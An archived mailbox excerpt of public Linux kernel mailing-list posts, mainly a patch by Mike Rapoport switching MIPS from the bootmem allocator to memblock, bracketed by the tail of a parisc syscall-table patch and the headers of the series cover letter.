+ENTRY(sys_call_tablec32)
+//	.export sys_call_table,data
+#if defined(CONFIG_64BIT) && !defined(SYSCALL_TABLE_64BIT)
+#define __SYSCALL(nr, entry, nargs) .dword entry
+#include <asm/syscall_table_c32.h>
+#endif
+END(sys_call_tablec32)
-- 
1.9.1



From - Thu Nov 08 21:41:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 01/30] mips: switch to NO_BOOTMEM
Date: Fri, 14 Sep 2018 15:10:16 +0300
Lines: 351
Approved: news@gmane.org
Message-ID: <1536927045-23536-2-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536926984 22923 195.159.176.226 (14 Sep 2018 12:09:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:09:44 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:09:36 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mum-0005nS-2m
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:09:36 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=LtySiAgExSwnimxavxRY+qHpk+TFK6a3wKb5adiy3F4=; b=Y9cE5g8pSxu0hR69007zhvmYPg
	ug71tPbkyQ/B2ThKtkh3hiAYExmkec+D4V7kgJOF5qUBoeHy728PguNZ8dazqcn6eQ61b0hkTX+1D
	i1f6WBoVVX6GgtactrATwS2B2woAfOZrdrJ2h4VE0i3GE23fkb+YLLTSwRlzupr1mch24oVmdJ+lI
	jOJbX4geYNjxvd2ncGihu5F7D1eW0dd1bUnlSwTsBdNlz2LQI2Jd2yyraOx/o4gHngV+ET5LR5Fwe
	aG1uU+nmWrj489RF1Hu0md0LDK4l/+FtBuhfzTKk3QvXx2lTKEZcILu2g4It+Ob+r0/jyhDzD6T6w
	q7+GWMwQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mwp-0003qH-VX; Fri, 14 Sep 2018 12:11:43 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mwU-0003e9-EH
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:11:42 +0000
Original-Received: from pps.filterd (m0098421.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC4XVc096272
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:11:13 -0400
Original-Received: from e06smtp02.uk.ibm.com (e06smtp02.uk.ibm.com [195.75.94.98])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgay24utd-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:11:12 -0400
Original-Received: from localhost
 by e06smtp02.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:11:10 +0100
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (9.149.109.195)
 by e06smtp02.uk.ibm.com (192.168.101.132) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:10:59 +0100
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com
 [9.149.105.60])
 by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECAwcw655672
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:10:58 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 6F68742041;
 Fri, 14 Sep 2018 15:10:48 +0100 (BST)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 3AE5042049;
 Fri, 14 Sep 2018 15:10:43 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:10:43 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:10:52 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0008-0000-0000-000002715A42
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0009-0000-0000-000021D9A024
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1011 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051122_674997_74E0EF59 
X-CRM114-Status: GOOD (  33.02  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:780 gmane.linux.kernel.mm:203316 gmane.linux.ports.mips.general:66618 gmane.linux.ports.ia64:29213 gmane.linux.ports.sh.devel:57489 gmane.linux.ports.sparc:28401 gmane.linux.ports.hexagon:1830 gmane.linux.kernel.arc:4343 gmane.linux.ports.alpha:5219 gmane.linux.ports.arm.kernel:674188 gmane.linux.ports.parisc:28941 gmane.linux.kernel:2870759 gmane.linux.ports.ppc64.devel:162476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/780>

MIPS already has memblock support and all the memory is already registered
with it.

This patch replaces bootmem memory reservations with memblock ones and
removes the bootmem initialization.

Since memblock allocates memory in top-down mode, we ensure that memblock
limit is max_low_pfn to prevent allocations from the high memory.

To have the exceptions base in the lower 512M of the physical memory, its
allocation in arch/mips/kernel/traps.c::traps_init() is using bottom-up
mode.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
---
 arch/mips/Kconfig                      |  1 +
 arch/mips/kernel/setup.c               | 99 ++++++++--------------------------
 arch/mips/kernel/traps.c               |  3 ++
 arch/mips/loongson64/loongson-3/numa.c | 34 ++++++------
 arch/mips/sgi-ip27/ip27-memory.c       | 11 ++--
 5 files changed, 46 insertions(+), 102 deletions(-)

diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 54532f2..1b5fa1a 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -78,6 +78,7 @@ config MIPS
 	select RTC_LIB
 	select SYSCTL_EXCEPTION_TRACE
 	select VIRT_TO_BUS
+	select NO_BOOTMEM
 
 menu "Machine selection"
 
diff --git a/arch/mips/kernel/setup.c b/arch/mips/kernel/setup.c
index 32fc11d..2fde53e 100644
--- a/arch/mips/kernel/setup.c
+++ b/arch/mips/kernel/setup.c
@@ -333,7 +333,7 @@ static void __init finalize_initrd(void)
 
 	maybe_bswap_initrd();
 
-	reserve_bootmem(__pa(initrd_start), size, BOOTMEM_DEFAULT);
+	memblock_reserve(__pa(initrd_start), size);
 	initrd_below_start_ok = 1;
 
 	pr_info("Initial ramdisk at: 0x%lx (%lu bytes)\n",
@@ -370,20 +370,10 @@ static void __init bootmem_init(void)
 
 #else  /* !CONFIG_SGI_IP27 */
 
-static unsigned long __init bootmap_bytes(unsigned long pages)
-{
-	unsigned long bytes = DIV_ROUND_UP(pages, 8);
-
-	return ALIGN(bytes, sizeof(long));
-}
-
 static void __init bootmem_init(void)
 {
 	unsigned long reserved_end;
-	unsigned long mapstart = ~0UL;
-	unsigned long bootmap_size;
 	phys_addr_t ramstart = PHYS_ADDR_MAX;
-	bool bootmap_valid = false;
 	int i;
 
 	/*
@@ -395,6 +385,8 @@ static void __init bootmem_init(void)
 	init_initrd();
 	reserved_end = (unsigned long) PFN_UP(__pa_symbol(&_end));
 
+	memblock_reserve(PHYS_OFFSET, reserved_end << PAGE_SHIFT);
+
 	/*
 	 * max_low_pfn is not a number of pages. The number of pages
 	 * of the system is given by 'max_low_pfn - min_low_pfn'.
@@ -442,9 +434,6 @@ static void __init bootmem_init(void)
 		if (initrd_end && end <= (unsigned long)PFN_UP(__pa(initrd_end)))
 			continue;
 #endif
-		if (start >= mapstart)
-			continue;
-		mapstart = max(reserved_end, start);
 	}
 
 	if (min_low_pfn >= max_low_pfn)
@@ -456,9 +445,11 @@ static void __init bootmem_init(void)
 	/*
 	 * Reserve any memory between the start of RAM and PHYS_OFFSET
 	 */
-	if (ramstart > PHYS_OFFSET)
+	if (ramstart > PHYS_OFFSET) {
 		add_memory_region(PHYS_OFFSET, ramstart - PHYS_OFFSET,
 				  BOOT_MEM_RESERVED);
+		memblock_reserve(PHYS_OFFSET, ramstart - PHYS_OFFSET);
+	}
 
 	if (min_low_pfn > ARCH_PFN_OFFSET) {
 		pr_info("Wasting %lu bytes for tracking %lu unused pages\n",
@@ -483,52 +474,6 @@ static void __init bootmem_init(void)
 		max_low_pfn = PFN_DOWN(HIGHMEM_START);
 	}
 
-#ifdef CONFIG_BLK_DEV_INITRD
-	/*
-	 * mapstart should be after initrd_end
-	 */
-	if (initrd_end)
-		mapstart = max(mapstart, (unsigned long)PFN_UP(__pa(initrd_end)));
-#endif
-
-	/*
-	 * check that mapstart doesn't overlap with any of
-	 * memory regions that have been reserved through eg. DTB
-	 */
-	bootmap_size = bootmap_bytes(max_low_pfn - min_low_pfn);
-
-	bootmap_valid = memory_region_available(PFN_PHYS(mapstart),
-						bootmap_size);
-	for (i = 0; i < boot_mem_map.nr_map && !bootmap_valid; i++) {
-		unsigned long mapstart_addr;
-
-		switch (boot_mem_map.map[i].type) {
-		case BOOT_MEM_RESERVED:
-			mapstart_addr = PFN_ALIGN(boot_mem_map.map[i].addr +
-						boot_mem_map.map[i].size);
-			if (PHYS_PFN(mapstart_addr) < mapstart)
-				break;
-
-			bootmap_valid = memory_region_available(mapstart_addr,
-								bootmap_size);
-			if (bootmap_valid)
-				mapstart = PHYS_PFN(mapstart_addr);
-			break;
-		default:
-			break;
-		}
-	}
-
-	if (!bootmap_valid)
-		panic("No memory area to place a bootmap bitmap");
-
-	/*
-	 * Initialize the boot-time allocator with low memory only.
-	 */
-	if (bootmap_size != init_bootmem_node(NODE_DATA(0), mapstart,
-					 min_low_pfn, max_low_pfn))
-		panic("Unexpected memory size required for bootmap");
-
 	for (i = 0; i < boot_mem_map.nr_map; i++) {
 		unsigned long start, end;
 
@@ -577,9 +522,9 @@ static void __init bootmem_init(void)
 		default:
 			/* Not usable memory */
 			if (start > min_low_pfn && end < max_low_pfn)
-				reserve_bootmem(boot_mem_map.map[i].addr,
-						boot_mem_map.map[i].size,
-						BOOTMEM_DEFAULT);
+				memblock_reserve(boot_mem_map.map[i].addr,
+						boot_mem_map.map[i].size);
+
 			continue;
 		}
 
@@ -602,15 +547,9 @@ static void __init bootmem_init(void)
 		size = end - start;
 
 		/* Register lowmem ranges */
-		free_bootmem(PFN_PHYS(start), size << PAGE_SHIFT);
 		memory_present(0, start, end);
 	}
 
-	/*
-	 * Reserve the bootmap memory.
-	 */
-	reserve_bootmem(PFN_PHYS(mapstart), bootmap_size, BOOTMEM_DEFAULT);
-
 #ifdef CONFIG_RELOCATABLE
 	/*
 	 * The kernel reserves all memory below its _end symbol as bootmem,
@@ -907,21 +846,29 @@ static void __init arch_mem_init(char **cmdline_p)
 	early_init_fdt_scan_reserved_mem();
 
 	bootmem_init();
+
+	/*
+	 * Prevent memblock from allocating high memory.
+	 * This cannot be done before max_low_pfn is detected, so up
+	 * to this point is possible to only reserve physical memory
+	 * with memblock_reserve; memblock_virt_alloc* can be used
+	 * only after this point
+	 */
+	memblock_set_current_limit(PFN_PHYS(max_low_pfn));
+
 #ifdef CONFIG_PROC_VMCORE
 	if (setup_elfcorehdr && setup_elfcorehdr_size) {
 		printk(KERN_INFO "kdump reserved memory at %lx-%lx\n",
 		       setup_elfcorehdr, setup_elfcorehdr_size);
-		reserve_bootmem(setup_elfcorehdr, setup_elfcorehdr_size,
-				BOOTMEM_DEFAULT);
+		memblock_reserve(setup_elfcorehdr, setup_elfcorehdr_size);
 	}
 #endif
 
 	mips_parse_crashkernel();
 #ifdef CONFIG_KEXEC
 	if (crashk_res.start != crashk_res.end)
-		reserve_bootmem(crashk_res.start,
-				crashk_res.end - crashk_res.start + 1,
-				BOOTMEM_DEFAULT);
+		memblock_reserve(crashk_res.start,
+				 crashk_res.end - crashk_res.start + 1);
 #endif
 	device_tree_init();
 	sparse_init();
@@ -931,7 +878,7 @@ static void __init arch_mem_init(char **cmdline_p)
 	/* Tell bootmem about cma reserved memblock section */
 	for_each_memblock(reserved, reg)
 		if (reg->size != 0)
-			reserve_bootmem(reg->base, reg->size, BOOTMEM_DEFAULT);
+			memblock_reserve(reg->base, reg->size);
 
 	reserve_bootmem_region(__pa_symbol(&__nosave_begin),
 			__pa_symbol(&__nosave_end)); /* Reserve for hibernation */
diff --git a/arch/mips/kernel/traps.c b/arch/mips/kernel/traps.c
index 576aeef..5feef28 100644
--- a/arch/mips/kernel/traps.c
+++ b/arch/mips/kernel/traps.c
@@ -29,6 +29,7 @@
 #include <linux/spinlock.h>
 #include <linux/kallsyms.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/interrupt.h>
 #include <linux/ptrace.h>
 #include <linux/kgdb.h>
@@ -2260,8 +2261,10 @@ void __init trap_init(void)
 		unsigned long size = 0x200 + VECTORSPACING*64;
 		phys_addr_t ebase_pa;
 
+		memblock_set_bottom_up(true);
 		ebase = (unsigned long)
 			__alloc_bootmem(size, 1 << fls(size), 0);
+		memblock_set_bottom_up(false);
 
 		/*
 		 * Try to ensure ebase resides in KSeg0 if possible.
diff --git a/arch/mips/loongson64/loongson-3/numa.c b/arch/mips/loongson64/loongson-3/numa.c
index 9717106..c1e6ec5 100644
--- a/arch/mips/loongson64/loongson-3/numa.c
+++ b/arch/mips/loongson64/loongson-3/numa.c
@@ -180,43 +180,39 @@ static void __init szmem(unsigned int node)
 
 static void __init node_mem_init(unsigned int node)
 {
-	unsigned long bootmap_size;
 	unsigned long node_addrspace_offset;
-	unsigned long start_pfn, end_pfn, freepfn;
+	unsigned long start_pfn, end_pfn;
 
 	node_addrspace_offset = nid_to_addroffset(node);
 	pr_info("Node%d's addrspace_offset is 0x%lx\n",
 			node, node_addrspace_offset);
 
 	get_pfn_range_for_nid(node, &start_pfn, &end_pfn);
-	freepfn = start_pfn;
-	if (node == 0)
-		freepfn = PFN_UP(__pa_symbol(&_end)); /* kernel end address */
-	pr_info("Node%d: start_pfn=0x%lx, end_pfn=0x%lx, freepfn=0x%lx\n",
-		node, start_pfn, end_pfn, freepfn);
+	pr_info("Node%d: start_pfn=0x%lx, end_pfn=0x%lx\n",
+		node, start_pfn, end_pfn);
 
 	__node_data[node] = prealloc__node_data + node;
 
-	NODE_DATA(node)->bdata = &bootmem_node_data[node];
 	NODE_DATA(node)->node_start_pfn = start_pfn;
 	NODE_DATA(node)->node_spanned_pages = end_pfn - start_pfn;
 
-	bootmap_size = init_bootmem_node(NODE_DATA(node), freepfn,
-					start_pfn, end_pfn);
 	free_bootmem_with_active_regions(node, end_pfn);
-	if (node == 0) /* used by finalize_initrd() */
+
+	if (node == 0) {
+		/* kernel end address */
+		unsigned long kernel_end_pfn = PFN_UP(__pa_symbol(&_end));
+
+		/* used by finalize_initrd() */
 		max_low_pfn = end_pfn;
 
-	/* This is reserved for the kernel and bdata->node_bootmem_map */
-	reserve_bootmem_node(NODE_DATA(node), start_pfn << PAGE_SHIFT,
-		((freepfn - start_pfn) << PAGE_SHIFT) + bootmap_size,
-		BOOTMEM_DEFAULT);
+		/* Reserve the kernel text/data/bss */
+		memblock_reserve(start_pfn << PAGE_SHIFT,
+				 ((kernel_end_pfn - start_pfn) << PAGE_SHIFT));
 
-	if (node == 0 && node_end_pfn(0) >= (0xffffffff >> PAGE_SHIFT)) {
 		/* Reserve 0xfe000000~0xffffffff for RS780E integrated GPU */
-		reserve_bootmem_node(NODE_DATA(node),
-				(node_addrspace_offset | 0xfe000000),
-				32 << 20, BOOTMEM_DEFAULT);
+		if (node_end_pfn(0) >= (0xffffffff >> PAGE_SHIFT))
+			memblock_reserve((node_addrspace_offset | 0xfe000000),
+					 32 << 20);
 	}
 
 	sparse_memory_present_with_active_regions(node);
diff --git a/arch/mips/sgi-ip27/ip27-memory.c b/arch/mips/sgi-ip27/ip27-memory.c
index 59133d0a..6f7bef0 100644
--- a/arch/mips/sgi-ip27/ip27-memory.c
+++ b/arch/mips/sgi-ip27/ip27-memory.c
@@ -389,7 +389,6 @@ static void __init node_mem_init(cnodeid_t node)
 {
 	unsigned long slot_firstpfn = slot_getbasepfn(node, 0);
 	unsigned long slot_freepfn = node_getfirstfree(node);
-	unsigned long bootmap_size;
 	unsigned long start_pfn, end_pfn;
 
 	get_pfn_range_for_nid(node, &start_pfn, &end_pfn);
@@ -400,7 +399,6 @@ static void __init node_mem_init(cnodeid_t node)
 	__node_data[node] = __va(slot_freepfn << PAGE_SHIFT);
 	memset(__node_data[node], 0, PAGE_SIZE);
 
-	NODE_DATA(node)->bdata = &bootmem_node_data[node];
 	NODE_DATA(node)->node_start_pfn = start_pfn;
 	NODE_DATA(node)->node_spanned_pages = end_pfn - start_pfn;
 
@@ -409,12 +407,11 @@ static void __init node_mem_init(cnodeid_t node)
 	slot_freepfn += PFN_UP(sizeof(struct pglist_data) +
 			       sizeof(struct hub_data));
 
-	bootmap_size = init_bootmem_node(NODE_DATA(node), slot_freepfn,
-					start_pfn, end_pfn);
 	free_bootmem_with_active_regions(node, end_pfn);
-	reserve_bootmem_node(NODE_DATA(node), slot_firstpfn << PAGE_SHIFT,
-		((slot_freepfn - slot_firstpfn) << PAGE_SHIFT) + bootmap_size,
-		BOOTMEM_DEFAULT);
+
+	memblock_reserve(slot_firstpfn << PAGE_SHIFT,
+			 ((slot_freepfn - slot_firstpfn) << PAGE_SHIFT));
+
 	sparse_memory_present_with_active_regions(node);
 }
 
-- 
2.7.4

From - Thu Nov 08 21:41:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 00/30] mm: remove bootmem allocator
Date: Fri, 14 Sep 2018 15:10:15 +0300
Lines: 403
Approved: news@gmane.org
Message-ID: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536926994 23736 195.159.176.226 (14 Sep 2018 12:09:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:09:54 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Sep 14 14:09:46 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1g0muv-0005x1-Qq
	for gla-linux-snps-arc@m.gmane.org; Fri, 14 Sep 2018 14:09:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:
	Subject:To:From:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
	References:List-Owner; bh=2RGeslKyAQlo6lroG5eT3c4VN5TNcx63xsjNf3RL6Js=; b=A/m
	iajD5yE5phWlUGJm6pWop1ywrwScT4oX+U/N9fPG0oafezM7EZ+oL/oneCA1EJOzN9RUiO/9go4qx
	WUPo2sS8pBaLwyGd/UOGEK3rvLJOsMNshgq+7Li/9C7jmjwrXvGwdRXGw2Sy6DzfnhFGdFW3cemdt
	VmvqgbAPVQulnGI0MZ6CqVSMEnab3fodVmIXU4ot/ZuRMKpKWrCj5ca9RYltTZT6NNlVRIeWCYLr6
	QlKKInHuRRFtzvP6ehY2fr/5joAjDszzqd1QqL4LG6vExHLNbCgY831XWUwODLLhBLRYR3fZV+V1K
	lkGqy3K6DyhR4DiIl33PqtmMYTO2yNw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mwy-0003tU-Pv; Fri, 14 Sep 2018 12:11:52 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mwU-0003cB-Rv
 for linux-snps-arc@lists.infradead.org; Fri, 14 Sep 2018 12:11:49 +0000
Original-Received: from pps.filterd (m0098420.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC6LJM088132
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:11:09 -0400
Original-Received: from e06smtp05.uk.ibm.com (e06smtp05.uk.ibm.com [195.75.94.101])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mg9pb788v-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:11:08 -0400
Original-Received: from localhost
 by e06smtp05.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:11:05 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
 by e06smtp05.uk.ibm.com (192.168.101.135) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:10:53 +0100
Original-Received: from d06av23.portsmouth.uk.ibm.com (d06av23.portsmouth.uk.ibm.com
 [9.149.105.59])
 by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECAqgZ62717982
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:10:52 GMT
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 01DF6A4040;
 Fri, 14 Sep 2018 15:10:40 +0100 (BST)
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id BB3E1A4057;
 Fri, 14 Sep 2018 15:10:34 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av23.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:10:34 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
